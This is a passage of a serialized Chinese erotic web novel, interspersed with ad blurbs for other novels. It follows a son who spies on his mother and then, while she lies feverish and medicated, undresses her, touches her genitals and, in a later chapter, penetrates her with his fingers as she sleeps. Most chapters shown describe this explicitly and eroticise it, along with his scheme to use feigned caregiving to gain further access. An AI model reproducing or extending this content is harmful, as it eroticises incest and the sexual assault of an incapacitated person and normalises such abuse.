  母子二人,都在心照不宣地,躲着对方。
  他们在同一张餐桌上吃饭,却几乎没有任何交流。苏晴总是低着头,默默地给儿子夹菜,而陈默则像个闷葫芦,只顾着埋头吃饭。
  他们会在走廊上迎面撞上,然后像两个陌生人一样,慌乱地、尴尬地侧身让开,谁也不敢看谁一眼。
  苏晴不再穿那些轻薄的真丝睡裙了。她换上了最保守的、长袖长裤的棉质家居服,把自己包裹得严严实实。
  而陈默,则每晚都把自己的房门反锁。他害怕再听到什么不该听到的声音,更害怕自己会控制不住,再次做出偷窥的举动。
  可欲望这种东西,越是压抑,就反弹得越厉害。
  夜深人静时,陈默躺在床上,脑子里依旧会不受控制地浮现出母亲的裸体。而苏晴,在巨大的恐惧和羞耻之下,身体的空虚却变本加厉地折磨着她。她不敢再用那根玉石滚轮,只能用自己的手指,在被子里偷偷地、潦草地解决。
  两个人,明明只隔着一堵墙,却仿佛隔着一个深渊。
  他们都在等待,等待对方先开口。
  或者说,他们都在害怕,害怕对方先开口。
  这根紧绷的弦,总有被拉断的一天。而他们谁都不知道,当弦断的那一刻,会奏出怎样一曲,疯狂而又毁灭的乐章。

好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

十步杀一人 / 发表于: 2025/11/05 11:10:32

第七章:摊牌的夜晚
  那根紧绷的弦,在一个寻常的周五夜晚,以一种谁都没想到的方式,被猛地拨断了。
  起因,是一杯牛奶。
  那几天压抑的气氛,几乎要把人逼疯。陈默觉得,必须要做点什么,来打破这种令人窒息的僵局。可他不知道该怎么做。道歉?质问?还是假装什么都没发生过?
  他做不到。
  每当他看到母亲那躲闪的眼神和苍白的脸,他心里就堵得慌。那不是他想要的。他想要的……他想要的到底是什么,连他自己也说不清楚。
  这天晚上,十点半,陈默还在自己的房间里画画。他画的,依旧是那些扭曲的、充满了欲望张力的人体。他发现,只有通过这种方式,他才能将心里那股无处发泄的邪火,倾泻掉一部分。
  「咚咚。」
  房门被轻轻敲响了。
  「默默,还没睡吗?」是苏晴的声音,带着一丝犹豫和试探。
  陈默的心猛地一跳,赶紧将画纸塞到了画板下面,含糊地应了一声:「嗯……马上就睡了。」
  门被推开一道缝,苏晴端着一杯热牛奶,走了进来。
  她依旧穿着那身保守的棉布睡衣,但或许是刚洗完澡的缘故,她的头发湿漉漉地披在肩上,脸上带着一层薄薄的水汽和红晕,比平时多了几分慵懒的、惊心动魄的女人味。
  「喝杯牛奶再睡吧,看你这几天都瘦了。」她将杯子放到陈默的书桌上,目光不经意地,扫过他那只还压在画板上的手。
  陈默的心,瞬间提到了嗓子眼。
  他太紧张了,只想着藏画,却忘了,桌角边,还散落着几张他白天随手画的、没有来得及收起来的速写草稿。
  而苏晴的目光,就那么不偏不倚地,落在了其中一张画上。
  那张画上,画的,是一截女人的小腿。脚踝纤细,脚趾微微蜷曲着,仿佛正承受着某种极致的痛苦或欢愉。而最致命的是,画纸的角落里,还画了一个小小的、不起眼的物件——一根顶端浑圆的……玉石柱。
  苏晴的身体,猛地僵住了。
  她脸上的血色,以肉眼可见的速度,迅速褪尽。她死死地盯着那张画,瞳孔因为极度的震惊和恐惧而急剧收缩。
  完了。
  这不是猜测,不是怀疑。
  这是铁证。
  儿子他……不仅是听到了,他甚至……看到了!他看到了她最不堪、最淫荡的一面!他甚至……把那些画面,都画了下来!
  巨大的羞耻和绝望,像决堤的洪水,瞬间将苏晴淹没。她感觉天旋地转,几乎要站不稳。她下意识地伸出手,想去抓住桌角,却不小心碰翻了那杯热牛奶。
  「啪啦!」
  白色的瓷杯摔在地上,四分五裂。滚烫的牛奶,溅得到处都是,也溅到了陈默的手背上。
  「啊!」陈默痛得叫了一声。
  「默默!」苏晴也顾不上自己的情绪了,惊叫一声,赶紧蹲下身,抓住儿子的手查看。
  他的手背,立刻就红了一大片。
  「怎么样?烫得厉害吗?快,快去冲冷水!」苏晴拉着他,就要往卫生间跑,眼泪都快急出来了。
  而陈默,却像是感觉不到疼痛一样,一动不动。
  他的目光,直勾勾地,落在了母亲的脸上。
  就在刚才,苏晴蹲下身的那一瞬间,她那因为刚洗完澡而没有扣严实的睡衣领口,向两边敞开了。
  于是,陈默看到了。
  他看到了那片他曾在门缝里窥见过无数次的、雪白的、丰腴的风景。他看到了那道深不见底的、诱人的乳沟。他甚至能闻到,从她领口里散发出来的、混合着奶香和女人体香的、让他几近疯狂的温热气息。
  他的理智,在这一刻,彻底断线了。
  他没有抽回自己被烫伤的手,反而一把反握住母亲那冰凉、柔软的手,将她死死地抓住。
  「妈……」
  他的声音,沙哑得不像他自己。
  苏晴被他这突如其来的举动弄得一愣,抬头看向他。然后,她就看到了儿子那双通红的、充满了血丝的、燃烧着两簇黑色火焰的眼睛。
  那眼神,不是儿子看母亲的眼神。
  那是一个男人,看一个女人的眼神。是一个饥饿的、被逼到绝境的野兽,看着自己猎物的眼神。
  「你……」苏晴被他看得心里发毛,下意识地想把手抽回来。
  可陈默的力气,却大得惊人。他死死地攥着她的手,另一只手,则像铁钳一样,抓住了她的肩膀,将她从地上,硬生生地拽了起来。
  两人之间的距离,瞬间被拉近到不足一拳。
  陈默甚至能看清母亲脸上细小的绒毛,能感受到她温热的、带着惊恐的呼吸,喷在自己的脸上。
  「妈……」他又叫了一声,声音里带着一丝压抑的、近乎扭曲的哭腔,「你告诉我……用那根冰冷的东西……你舒服吗?」
  这句话,像一把最锋利的尖刀,毫不留情地,剖开了苏晴最后一块遮羞布,将她最肮脏的秘密,血淋淋地暴露在了光天化日之下。
  苏晴的脑子「嗡」的一声,一片空白。
  她浑身发抖,嘴唇哆嗦着,一个字也说不出来。眼泪,像断了线的珠子,不受控制地滚落下来。
  她完了。
  她在这个世界上,唯一的、最珍视的、最后的尊严,被她的亲生儿子,亲手撕得粉碎。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

十步杀一人 / 发表于: 2025/11/05 11:18:06

第八章:冰河与病火
  那场摊牌之后,这个家,进入了冰河时代。
  苏晴把自己锁了起来。
  字面意义上的。她除了做饭,几乎不再踏出主卧一步。饭做好了,她会像幽灵一样飘下楼,将饭菜摆在桌上,然后立刻转身,在上锁的房门后面,消化自己的那一份孤独和羞耻。
  她不再打扮,不再保养。短短几天,她就憔悴得像一朵被霜打过的花。脸色蜡黄,眼窝深陷,眼神空洞得像两口枯井。她不敢看儿子,甚至不敢听见他的声音。陈默的每一次呼吸,每一次脚步声,对她来说,都像是在提醒她那个羞耻的夜晚,提醒她自己是怎样一个不堪的、被儿子窥破了所有肮脏秘密的女人。
  而陈默,也陷入了巨大的痛苦和焦躁之中。
  他赢了吗?他用最残忍的方式,戳破了那层窗户纸,掌握了绝对的主动权。可他得到的,不是他想要的那个温软的、会对他脸红心跳的女人,而是一个把自己封闭起来的、濒死的活死人。
  这个家里,安静得可怕。母子二人,成了生活在同一个屋檐下的、最熟悉的陌生人。他们像两只互相警惕的刺猬,小心翼翼地维持着一个安全距离,谁也不敢再靠近对方一步。
  陈默心里那团火,无处发泄。他既懊悔自己的粗暴,又对自己无法得到母亲而感到愤怒。这种矛盾的情绪,让他变得阴郁而暴躁。
  这种诡异的冷战,持续了将近一个星期。
  直到周四的晚上,平衡,被彻底打破了。
  陈默放学回家,发现餐桌上是空的。这还是五年来的第一次。他心里一沉,立刻察觉到了不对劲。他走到母亲的房门前,敲了敲门。
  「妈?妈,你在里面吗?」
  无人应答。
  一股不祥的预感涌上心头。他顾不上那么多,直接从厨房找了备用钥匙,打开了房门。
  房间里,窗帘紧闭,一片昏暗。空气中弥漫着一股压抑的、病态的气息。而他的母亲,正蜷缩在床上,盖着厚厚的被子,身体却在不受控制地、剧烈地发着抖。
  「妈!」陈默冲了过去,伸手一摸她的额头,立刻被那惊人的温度烫得缩回了手。
  发高烧了!
  是了,这几天的精神折磨,食不下咽,夜不能寐,足以摧毁一个人的免疫系统。
  「妈,你醒醒!」他摇晃着苏晴的肩膀。
  苏晴在昏沉中,缓缓睁开眼睛。她的眼神涣散,嘴唇干裂,看到是陈默,她的眼神里先是闪过一丝本能的恐惧和躲闪,但随即,病痛就让她连伪装的力气都没有了。
  「我……我没事……」她的声音,虚弱得像一团即将熄灭的火苗。
  「这还叫没事!」陈默又急又气,他第一次对母亲吼了出来,「你等着,我带你去医院!」
  他说着,就要去抱她。
  「不……不要去……」苏晴却死死地抓住被子,用尽全身的力气摇头,「我不要……不要让别人看到我这个样子……我求你了,默默……」
  她怕的,不是病。
  她怕的是,以自己现在的精神状态,到了医院,医生会问东问西,会发现她不仅仅是身体病了,她的精神,也病了。她害怕自己的秘密,被更多的人知道。
  看着母亲那哀求的、脆弱得仿佛一碰就碎的眼神,陈默的心,软了。
  他妥协了。
  他先是去药店,买了退烧药和酒精。然后,他回到家,倒了温水,笨拙地扶起母亲,像哄小孩一样,让她把药吃了下去。
  吃完药,苏晴又昏昏沉沉地睡了过去,但烧,却依旧没有退下去的迹象。她的脸烧得通红,嘴里开始说一些听不清的胡话。
  陈默知道,必须物理降温了。
  他犹豫了一下,最终还是咬了咬牙,打来一盆温水,拧干了毛巾。
  他坐在床边,看着母亲那张因为高烧而显得格外无助的睡颜,心里五味杂陈。
  他伸出手,轻轻地,解开了她睡衣的第一颗扣子。
  他的手在抖。
  这不是情欲的冲动,而是一种混杂着紧张、罪恶和一丝神圣感的、复杂的情绪。他告诉自己,这是为了给她降温。
  他解开了第二颗,第三颗……
  睡衣的领口,向两边敞开。露出了她那因为发烧而泛着一层薄汗的、雪白的胸口,和那道深邃的、随着她急促呼吸而微微起伏的乳沟。
  陈默的呼吸,瞬间停滞了。
  他艰难地吞了口唾沫,强迫自己移开视线。他用温热的毛巾,小心翼翼地,擦拭着她的额头,她的脸颊,她的脖颈……
  然后,他的手,停在了她的锁骨处。
  再往下,就是那片他渴望了无数个日夜的、柔软的、神秘的圣地。
  一个声音在他心里疯狂地叫嚣着:继续!她现在什么都不知道!这是最好的机会!
  另一个声音则在拼命地拉扯他:住手!她是你的母亲!她现在是个病人!
  最终,那个披着「儿子」外衣的魔鬼,战胜了一切。
  他告诉自己:我只是……只是帮她擦擦汗,让她舒服一点。
  他的手,握着毛巾,颤抖着,缓缓地,探进了那片温暖而柔软的禁区。
  毛巾的触感,和他手指的触感,是完全不一样的。隔着一层湿润的棉布,他依旧能清晰地感受到母亲乳房那惊人的弹性和柔软。
  他的动作很轻,很慢,像是在进行一场最神圣的朝圣。
  而昏睡中的苏晴,似乎也感受到了胸口的清凉和舒适。她紧皱的眉头,微微舒展开来,喉咙里,甚至发出了一声满足的、带着浓浓鼻音的……呻吟。
  这声呻吟,像一道惊雷,瞬间击中了陈默。
  他停下了动作,死死地看着母亲的脸。
  而他的下身,那根一直被他强行压抑着的阴茎,在这一刻,再也无法忍受,猛地,在裤裆里,愤怒地、灼热地,勃起了。

你都1000级了,外面最高30级
易枫洛兰雪
易枫穿越到修炼世界,可惜只能当个凡人,无奈只能开个小武馆维持生活,偶尔打打铁,当个“一代宗师”混日子。直到有一天,小武馆变得热闹。几个仙风道骨的老头为易枫厨房里的菜刀争的面红耳赤……

十步杀一人 / 发表于: 2025/11/05 11:26:21

第九章:第一次接触
  那一声无意识的、满足的呻吟,像一把烧红的铁钳,狠狠地烫在了陈默的理智上。
  他停下了所有动作,整个人都僵住了。
  他死死地盯着母亲那张因为高烧而显得格外脆弱、毫无防备的睡颜,心脏在胸腔里疯狂地跳动,像一只需要破笼而出的野兽。
  他下身的阴茎,早已在裤裆里硬得发疼,叫嚣着让他去做更大胆、更出格的事情。
  可是,当他的目光,触及到母亲那紧皱的眉头和干裂的嘴唇时,一股巨大的、无法言喻的罪恶感,又像冰冷的潮水,瞬间将他淹没。
  她在生病。
  她是你的母亲。
  你怎么能……你怎么敢……对她产生这么肮脏的念头?
  两个小人,一个代表欲望,一个代表理智,在他的脑海里疯狂地厮杀。
  最终,那个披着「儿子」外衣的魔鬼,用一个看似冠冕堂皇的理由,暂时占据了上风。
  ——我只是……只是想让她舒服一点,快点退烧。
  这个念头,像一张虚假的通行证,给了他继续下去的勇气,虽然这勇气,脆弱得像一层窗户纸。
  他的手,握着那块还带着母亲胸口余温的毛巾,颤抖着,缓缓地,向下滑去。
  划过她平坦、柔软的小腹,最终,停在了她睡裤那根松紧带的边缘。
  他的手,停住了。
  他像一个即将触碰圣物的盗贼,紧张得连呼吸都忘了。
  时间,仿佛在这一刻被无限拉长。他能听到的,只有自己那擂鼓般的心跳声,和母亲那因为高烧而显得有些急促的呼吸声。
  「妈……你全身都好烫……」他一边自言自语,像是在催眠自己,一边伸出那只抖得不成样子的手,轻轻地,勾住了那根松紧带。
  他闭上眼,像是即将奔赴刑场一般,手指一用力,将母亲那条宽松的棉布睡裤,连同里面的内裤,一起,缓缓地,褪了下去。
  当那片他曾在门缝里窥见过,却从未如此近距离观察过的、神秘的黑色森林,毫无防备地暴露在他眼前时,陈默感觉自己几乎要晕厥过去。
  他不敢多看,慌乱地移开视线,却又忍不住用眼角的余光,偷偷地去瞟。
  他强迫自己,将注意力集中在「擦身降温」这件「正事」上。
  他重新将毛巾浸湿,拧干。然后,他分开母亲那因为高烧而无力并拢的双腿,握着毛巾的手,像是在碰一根随时会爆炸的引线,从她纤细的脚踝开始,一点一点地,向上擦拭。
  小腿,膝盖,大腿……
  当毛巾,即将触碰到那片神秘的禁区时,陈默的手,再次停住了。
  他不敢了。
  用毛巾擦拭那里……感觉,太刻意,太猥亵了。
  可如果不擦,那之前做的一切,不就都成了司马昭之心吗?
  就在他进退两难之际,昏睡中的苏晴,似乎因为大腿内侧的清凉而感到舒服,下意识地,并了并腿。
  这个无意识的动作,却让她的两片丰腴、饱满的阴唇,因为挤压,而微微地张开了一道缝隙。
  陈默看到了。
  他看到了那道缝隙里,那抹娇嫩的、湿润的粉红色。
  那一瞬间,他脑子里那根名为「理智」的弦,「崩」的一声,彻底断了。
  他扔掉了那块毛巾。
  他的脑子里一片空白,只剩下最原始的本能。
  他的手,那只画了十几年素描的、灵巧的手,此刻却笨拙得像一只不听使唤的木偶。他颤抖着,缓缓地,将那只手,探了过去。
  指尖,最先触碰到的是那片浓密、柔软的毛发。
  然后,是那两片丰腴、饱满、柔软得不可思议的阴唇。
  「唔……」
  当他的指尖,触碰到那片温热、滑腻的嫩肉时,陈默的喉咙里,发出一声压抑的、几乎要哭出来的叹息。
  他摸到了……
  他真的……摸到妈妈的逼了……
  巨大的、难以言喻的刺激感,伴随着排山倒海般的罪恶感,让他的大脑一片空白。他甚至忘了自己接下来该做什么。
  他的手指,就那么僵硬地,停留在那里,一动也不敢动。
  时间,仿佛静止了。
  不知道过了多久,可能是几秒钟,也可能是几分钟。
  「嗯……」
  昏睡中的苏晴,似乎因为那异样的触碰,而感到有些不适,喉咙里发出了一声无意识的、带着疑惑的鼻音,身体也微微动了一下。
  这个声音,像一声惊雷,瞬间将陈默从那混沌的状态中惊醒!
  他吓得魂飞魄散,像触电一样,猛地将手缩了回来!
  他看着自己的手指,上面还沾着一丝属于母亲的、晶莹的体液。他像是看到了什么最肮脏的东西,慌乱地在自己的裤子上擦了擦。
  然后,他连滚带爬地,逃离了那张床,逃离了那个房间。
  他冲进自己的卧室,「砰」的一声关上门,反锁。
  他背靠着冰冷的门板,身体顺着门板滑坐到地上,大口大口地喘着粗气,心脏跳得像要从喉咙里蹦出来。
  失败了。
  不,或者说,成功了?
  他摸到了。虽然只有短短的几秒钟,但他确实,用自己的手,亲自确认了那片神秘花园的柔软与湿润。
  那份触电般的、销魂蚀骨的触感,已经像烙印一样,被深深地刻在了他的神经末梢。
  他低头,看着自己那根早已将裤裆顶得像帐篷一样高的巨大阴茎。
  他知道,自己完了。
  他再也回不去了。

总统夫人,晚上见!
吕涵芷
她被亲人出卖,沦为陌生男人的生子工具。五年后,她褪去青涩,成为名不见经传的插画师。一次漫展,她遇到傲娇萌宝。 “女人,乖乖跟我回家,我就让你抱大腿。一送你绝世好老公,二让你画画技能爆棚。”

十步杀一人 / 发表于: 2025/11/05 11:40:14

第十章:名为「照顾」的囚笼
  陈默在自己的房间里,度过了无比煎熬的半个小时。
  那份指尖残留的、属于母亲身体的柔软与湿润,像一团鬼火,在他的脑子里、身体里,熊熊燃烧。他冲进卫生间,对着冰冷的马桶,用颤抖的手,撸动着自己那根涨得发紫的巨大阴茎,脑子里想的,全是母亲那毫无防备的、赤裸的睡颜。
  在一阵剧烈的痉挛和粗重的喘息中,一股滚烫的、浓稠的精液,喷射而出。
  高潮后的片刻清明,让他稍微冷静了一些。
  但随之而来的,是更深的空虚和更强烈的渴望。
  他知道,自己刚才太紧张、太笨拙了。
  下一次,绝对不能再这样。
  他需要一个计划。一个周密的、能让自己名正言顺地、一次又一次地触碰她、占有她的计划。
  而这个计划的契机,不就在隔壁吗?
  ——母亲的病。
  这个念头,像一道闪电,瞬间照亮了他那片被欲望搅得混沌一片的大脑。
  他站起身,擦干净手,整理了一下衣裤,然后,重新推开了母亲卧室的房门。
  这一次,他的眼神里,不再有之前的慌乱和恐惧。取而代之的,是一种近乎冷酷的、猎人般的冷静和专注。
  床上的苏晴,依旧在昏睡。高烧让她本就白皙的皮肤,透出一种病态的潮红,嘴唇干裂,眉头紧锁,看起来脆弱得像一件易碎的瓷器。
  陈默走到床边,先是探了探她的额头,依旧烫得吓人。
  然后,他的目光,落在了那条被他刚才慌乱中只拉到一半的睡裤上。她的大腿,还暴露在空气里。
  他没有再像刚才那样,急色地去偷窥。
  他只是平静地、动作轻柔地,将睡裤重新为她拉好,将被子为她盖严。
  然后,他走出去,打来一盆新的温水,又拿了一条干净的毛巾。
  这一次,他没有再去解她的睡衣,也没有再去褪她的裤子。
  他只是安安静静地坐在床边,一遍又一遍地,用温热的毛巾,擦拭着她裸露在外的额头、脸颊、脖颈和手腕。
  他的动作,专注而温柔。
  仿佛,他真的是一个在全心全意照顾着生病母亲的、孝顺的儿子。
  做完这一切,他又去厨房,用冰箱里仅剩的食材,笨拙地,熬了一锅白粥。
  当苏晴在凌晨时分,因为身体的极度不适而短暂地清醒过来时,她看到的,就是这样一幅景象:
  儿子趴在自己的床边睡着了,眉头微微皱着,一只手,还紧紧地握着自己的手。床头柜上,放着一碗尚有余温的白粥,和一杯晾好的温水。
  那一瞬间,苏晴的心,被一种复杂而温暖的情绪,彻底击中了。
  前几天的冷战,昨晚的崩溃,那些羞耻和绝望,在这一刻,似乎都变得不再那么重要了。
  她只知道,在她最脆弱、最无助的时候,是她的儿子,是这个世界上她唯一的亲人,寸步不离地守在她的身边。
  她的眼眶,一瞬间就红了。
  她轻轻地动了一下,陈默立刻就惊醒了。
  「妈,你醒了?感觉怎么样?还好吗?」他睡眼惺忪地看着她,眼神里,是毫不作伪的、纯粹的担忧。
  「……好多了。」苏晴看着他,声音沙哑地问,「你……一晚上没睡吗?」
  「没事,我不困。」陈默摇了摇头,端起那碗白粥,「你发了一晚上烧,肯定饿了,我喂你喝点粥吧。」
  说着,他舀起一勺粥,吹了吹,小心翼翼地,送到了苏晴的嘴边。
  苏晴的眼泪,再也忍不住,流了下来。
  她张开嘴,将那勺混杂着自己泪水的、温暖的白粥,咽了下去。
  那一刻,在她心里,陈默不再是那个窥破了她秘密的、让她恐惧的「男人」。
  他变回了她的儿子。
  是她的依靠,是她的全世界。
  她那座因为羞耻而冰封起来的心,在这一刻,彻底地、毫无保留地,向他,敞开了一道门。
  而她不知道的是。
  门外那个看起来无比纯良、无比孝顺的「儿子」,在低头为她吹粥时,眼底深处,却闪过了一丝计划得逞的、冰冷的、野兽般的光芒。
  他知道,自己成功了。
  他用一场「无微不至的照顾」,成功地卸下了母亲所有的心防。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

十步杀一人 / 发表于: 2025/11/05 11:46:06

第十一章:深夜的「查房」
  苏晴的这场病,给了陈默一个完美的、可以二十四小时「监视」她的借口。
  白天,他扮演着一个无微不至的孝子。喂饭,喂药,端茶倒水,所有的一切,都做得无可挑剔。他不再有任何出格的举动,甚至连眼神,都恢复了往日的清澈和纯粹,仿佛之前那几次冲突和摊牌,都只是一场幻觉。
  苏晴那颗本已悬到嗓子眼的心,渐渐地,放了下来。
  她开始相信,儿子可能真的只是一时冲动。那晚的触摸,也许真的只是一个少年在特定情境下的生理反应。现在,他已经冷静下来,重新做回了那个让她骄傲的、懂事的儿子。
  她甚至为自己之前的那些胡思乱想,感到了一丝愧疚。
  在这种愧疚感的驱使下,她对儿子,也变得比以前更加温柔,更加依赖。她会笑着喝下他端的药,会夸他熬的粥比自己做的还好喝。
  这个家里,似乎又恢复了往日的温馨与和谐。
  可苏晴不知道的是。
  每当夜深人静,当她因为药物和病痛而陷入沉睡之后。
  一头年轻的、贪婪的野兽,就会从隔壁的房间里悄悄溜出,潜入她的领地,对她进行最彻底的、也是最无声的……「巡视」。
  陈默学会了开锁。
  用一根回形针和一张薄薄的塑料卡片,母亲卧室那把老旧的门锁,在他面前,形同虚设。
  这天午夜,他又一次,像个幽灵一样,溜进了母亲的房间。
  房间里很暗,只有窗外泄进来的、清冷的月光。床上的苏晴,睡得很沉,呼吸平稳悠长。
  陈默没有开灯。他在黑暗中,像一头经验丰富的夜行动物,熟门熟路地,走到了床边。
  他没有立刻做什么。
  他只是静静地站在那里,借着月光,贪婪地凝视着母亲的睡颜。
  她的脸,因为生病而显得有些苍白,却也因此,多了一份平日里没有的、我见犹怜的脆弱感。
  这种脆弱,极大地刺激了陈默内心深处那股黑暗的、属于男性的占有欲。
  他想拥有她。
  彻底地,不留一丝缝隙地,拥有她。
  他缓缓地,在床边蹲下身。
  他的手,像上次一样,颤抖着,伸了过去。
  但这一次,他的目标,不再是那些会留下明显痕迹的地方。
  他轻轻地,撩开了被子的一角。然后,他的手,像一条滑腻的蛇,顺着被子和床单之间的缝隙,一路向下,潜了进去。
  被子里,是母亲身体的温热和那股独有的、让他闻之欲狂的淡淡体香。
  他的手,在黑暗中,准确无误地,找到了母亲那平坦、柔软的小腹。
  隔着一层薄薄的棉布睡衣,他能清晰地感受到她肌肤的温度和弹性。
  床上的苏晴,似乎因为小腹突然传来的暖意,而在睡梦中,舒服地发出了一声满足的喟叹。
  这个声音,像一声发令枪,让陈默的胆子,瞬间大了起来。
  他的手,不再满足于只停留在小腹。
  他缓缓地,向下滑去。
  划过那微微凹陷的肚脐,最终,停在了她睡裤那根松紧带的上方。
  他能清晰地感觉到,那下面,就是那片他曾短暂触摸过的、神秘的黑色森林。
  他的呼吸,瞬间变得粗重起来。
  他犹豫了一下,最终还是没有选择粗暴地褪下她的裤子。
  他选择了更隐秘、更刺激的方式。
  他的手指,勾住了那根松紧带,然后,像一个技艺高超的小偷,将整个手掌,从睡裤那宽松的腰口处,探了进去。
  肌肤相亲。
  没有任何阻碍。
  他的掌心,直接覆上了那片浓密、柔软的毛发。
  「唔……」
  陈默的喉咙里,发出一声压抑的叹息。
  这种隔着一层布料,直接触摸到核心的感觉,比上次那慌乱的、掀开裤子的触摸,要刺激一百倍!
  他的手指,像一个急不可耐的探险家,拨开那层黑色的「丛林」,再次,寻找到了那条隐藏在其中的、娇嫩的、湿润的「秘境入口」。
  他摸到了。
  他摸到了那两片丰腴、饱满、柔软得不可思议的阴唇。
  这一次,因为生病和药物的作用,她的身体,比上次更加敏感,也更加诚实。
  陈默的手指,只是轻轻地碰了一下,他就清晰地感觉到,那两片唇瓣的内侧,已经分泌出了黏稠的爱液,湿漉漉的。
  她又湿了。
  在睡梦中,因为他这悄无声息的侵犯,而流出了淫水。
  这个发现,让陈默兴奋得几乎要当场射精。
  他再也无法忍受只在外面徘徊。
  他咽了口唾沫,用那根同样在颤抖的食指,缓缓地、试探着,对准了那个小小的、紧致的、早已泥泞不堪的穴口。
  然后,他轻轻地,顶了进去。
  「嗯……」
  昏睡中的苏晴,似乎也感觉到了这来自外部的、异样的侵入。她的眉头微微蹙起,喉咙里发出了一声无意识的、像是有些不舒服的鼻音。
  但这一次,陈默没有再像上次那样,被吓得缩回手。
  他停顿了一下,见母亲没有进一步的反应,只是无意识地,并了并腿。
  这个动作,却让那本就紧致的甬道,夹得他的手指更紧了。
  陈默舒服得倒吸了一口凉气。
  他稳了稳心神,开始继续他的深夜「查房」。
  他学着自己曾经偷窥到的、母亲自慰时的样子,用指腹,在穴道里寻找按压着。
  「呜……嗯……」
  这一次,苏晴发出的,不再是表示不适的鼻音。
  而是一种满足的、带着浓浓情欲味道的、销魂的呻吟。
  她的眉头,彻底舒展开来。她的身体,也开始不受控制地,轻轻地扭动起来。她的双腿,下意识地,微微张开,仿佛是在迎合着什么。
  那紧致的甬道,也开始源源不断地涌出滚烫的爱液,将他的整根手指都浸得湿滑一片。
  陈默知道,时机,成熟了。
  他将中指,也并了进去。
  然后,他用两根手指,模仿着男人阴茎的动作,在母亲那湿滑紧致的嫩穴里,缓缓地、坚定地,抽插了起来。
  一场以「查房」为名的、无声的、罪恶的指奸,就这样,在静谧的深夜里,正式上演。

好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

十步杀一人 / 发表于: 2025/11/05 11:53:07

第十二章:「按摩」
  陈默几乎是连滚带爬地逃回了自己的房间。
  他背靠着冰冷的门板,身体顺着门板滑坐到地上,大口大口地喘着粗气,心脏跳得像要从喉咙里蹦出来。
  他低头,看着自己那只刚刚亵渎了圣域的、还在微微颤抖的手。
  手指上,还残留着属于母亲身体的、那份独一无二的温热、滑腻和淡淡的腥膻味。他将手指凑到鼻尖,深深地吸了一口气。
  那味道,像最猛烈的毒品,瞬间冲垮了他最后的一丝理智。
  他再也无法忍受,拉开裤子拉链,掏出自己那根早已因为过度兴奋而硬得发紫、顶端还流着清液的巨大阴茎,对着那只刚刚触摸过母亲私处的手,疯狂地撸动了起来。
  脑子里,全是母亲那毫无防备的、赤裸的睡颜,和自己手指探入那片温暖禁区时,那销魂蚀骨的触感。
  「妈……妈妈……」
  他嘴里发着意义不明的、野兽般的嘶吼,在一阵剧烈的痉挛中,将自己滚烫的、浓稠的精液,尽数喷射在了自己的手心里,和那只手上残留的、属于母亲的爱液,混合在了一起。
  高潮过后,巨大的满足感和同样巨大的罪恶感,像两股激流,在他身体里冲撞。
  他知道,自己完了。
  他再也回不去了。
  这一次的慌乱和失败,非但没有让他感到畏惧,反而像一颗最毒的种子,在他心里,种下了一份更深的、更偏执的渴望。
  ——下一次。
  ——下一次,我一定要……
  ——做得更多。
  一个精心谋划的、系统的、将母亲彻底变成自己女人的、罪恶的计划,在这一刻,正式,在他的脑海里,开始酝酿。
  ……
  第二天清晨,苏晴是在一阵浑身酸痛中醒来的。
  高烧似乎退了一些,但随之而来的是重感冒引发的、像是被卡车碾过一样的全身酸软和疲惫。
  尤其是……身体的某个部位。
  她皱着眉,微微并了并腿,立刻感觉到,两腿之间的私处传来一阵又酸又胀的异样感。不像是她自己用玉石滚轮弄过之后那种火辣辣的感觉,而是一种更深层次的、从里到外的酸软。
  「唔……昨晚睡姿不好吗?」她迷迷糊糊地想。
  她努力回忆昨晚的事情,却只记得自己吃了药,然后就睡了过去。中间似乎做了一些乱七八糟的梦。
  肯定是发烧烧糊涂了。
  苏晴自嘲地笑了笑,将这个荒诞的念头甩出了脑海。
  就在这时,卧室的房门被轻轻推开了。
  陈默端着一碗热气腾腾的瘦肉粥,走了进来。他看起来有些疲惫,眼下带着淡淡的青色,但眼神,却清澈得像一汪泉水,充满了毫不作伪的、对母亲的担忧。
  「妈,你醒了?感觉怎么样?烧退了点没有?」他将粥放到床头柜,伸手探了探苏晴的额头,又摸了摸自己的,「嗯,好像没那么烫了。」
  他的动作,自然得没有一丝一毫的破绽。
  看着儿子这副孝顺懂事的模样,苏晴心里最后的那一丝疑虑,也彻底烟消云散了。一股暖流,涌上心头。
  「妈妈没事了,辛苦你了,默默。」她温柔地笑了笑。
  「跟我还客气什么。」陈默也笑了起来,将她扶起来,在她背后垫了个枕头,「你肯定浑身没力气,我喂你喝粥吧。」
  在儿子无微不至的照顾下,苏晴喝完了粥,又吃了药。
  「妈,你是不是感觉浑身酸痛得厉害?」陈默看着母亲那副慵懒疲惫的模样,「问道」。
  「是啊,骨头都快散架了。」苏晴靠在枕头上,有气无力地抱怨着。
  「我帮你按按吧。」陈默说得无比自然,「我跟我们体育老师学过几招放松肌肉的按摩手法,挺管用的。」
  这个提议,听起来是那么的合情合理,充满了儿子的孝心。
  苏晴犹豫了一下。让儿子给自己按摩,总觉得有些别扭。但看着儿子那真诚的、不容拒绝的眼神,再加上自己确实浑身难受得紧,她最终还是点了点头。
  「……那好吧,就……按按肩膀和后背就行了。」
  「嗯。」陈默应了一声,眼底深处,却闪过了一丝计划得逞的、冰冷的、野兽般的光芒。
  他让苏晴趴在床上。
  然后,他坐到床边,伸出那双画了十几年素描的、对人体结构了如指掌的、也是昨晚刚刚亵渎过母亲身体的、罪恶的手,轻轻地,放到了母亲那隔着一层薄薄睡衣的、圆润而柔软的肩膀上。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

十步杀一人 / 发表于: 2025/11/05 11:58:14

第十三章:从按摩到「夜巡」
